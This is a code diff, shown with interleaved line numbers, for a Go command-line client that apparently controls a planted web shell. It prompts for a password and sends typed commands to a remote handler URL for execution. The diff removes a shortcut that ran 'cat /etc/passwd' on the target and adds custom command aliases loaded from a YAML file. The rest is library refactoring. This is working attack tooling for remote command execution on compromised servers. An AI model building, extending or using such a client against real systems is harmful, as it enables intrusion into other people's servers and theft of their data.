@@ -6,29 +6,30 @@ import (
6
6
"encoding/base64"
7
7
"flag"
8
8
"fmt"
9
- "io/ioutil "
9
+ "io"
10
10
"log"
11
11
"math/rand"
12
12
"net/http"
13
13
"net/url"
14
14
"os"
15
15
"strings"
16
16
"text/template"
17
- "time"
17
+
18
+ "gopkg.in/yaml.v3"
18
19
)
19
20
21
+ type CustomCommands map [string ]string
22
+
20
23
type Rand struct {
21
24
RandVar string
22
25
RandPass string
23
26
}
24
27
25
28
func RandString (n int ) string {
26
- rand .Seed (time .Now ().UnixNano ())
27
29
const alphanum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
28
30
var bytes = make ([]byte , n )
29
- rand .Read (bytes )
30
- for i , b := range bytes {
31
- bytes [i ] = alphanum [b % byte (len (alphanum ))]
31
+ for i := range bytes {
32
+ bytes [i ] = alphanum [rand .Intn (len (alphanum ))]
32
33
}
33
34
return string (bytes )
34
35
}
@@ -68,7 +69,7 @@ func Requester(url string, cmd string, password string) string {
68
69
}
69
70
defer resp .Body .Close ()
70
71
71
- bodyText , err := ioutil .ReadAll (resp .Body )
72
+ bodyText , err := io .ReadAll (resp .Body )
72
73
if err != nil {
73
74
log .Fatal (err )
74
75
}
@@ -78,14 +79,27 @@ func Requester(url string, cmd string, password string) string {
78
79
return string (bodyText )
79
80
}
80
81
81
- func checkCustom (cmd string ) string {
82
+ func readCustomCommands (filename string ) (CustomCommands , error ) {
83
+ var commands CustomCommands
84
+ yamlFile , err := os .ReadFile (filename )
85
+ if err != nil {
86
+ return nil , err
87
+ }
88
+ err = yaml .Unmarshal (yamlFile , & commands )
89
+ if err != nil {
90
+ return nil , err
91
+ }
92
+ return commands , nil
93
+ }
94
+
95
+ func checkCustom (cmd string , customCommands CustomCommands ) string {
82
96
if cmd == ":\n " || cmd == ":exit\n " {
83
97
os .Exit (0 )
84
98
} else if cmd == ":cls\n " || cmd == ":clear\n " {
85
99
fmt .Printf ("\x1b c" )
86
- cmd = ""
87
- } else if cmd == ":passwd \n " {
88
- cmd = "cat /etc/passwd"
100
+ return ""
101
+ } else if custom , ok := customCommands [ cmd ]; ok {
102
+ return custom
89
103
}
90
104
return cmd
91
105
}
@@ -97,6 +111,12 @@ func main() {
97
111
raw := flag .Bool ("raw" , false , "a boolean" )
98
112
flag .Parse ()
99
113
114
+ customCommands , err := readCustomCommands ("custom_commands.yaml" )
115
+ if err != nil {
116
+ fmt .Println ("Error loading custom commands:" , err )
117
+ os .Exit (1 )
118
+ }
119
+
100
120
if * handler != "" {
101
121
var password string
102
122
fmt .Printf ("🔑 Password > " )
@@ -106,7 +126,7 @@ func main() {
106
126
fmt .Printf ("🥷 > " )
107
127
in := bufio .NewReader (os .Stdin )
108
128
cmd , _ := in .ReadString ('\n' )
109
- cmd = checkCustom (cmd )
129
+ cmd = checkCustom (cmd , customCommands )
110
130
if cmd != "" {
111
131
resp := Requester (* handler , cmd , password )
112
132
println (resp )
0 commit comments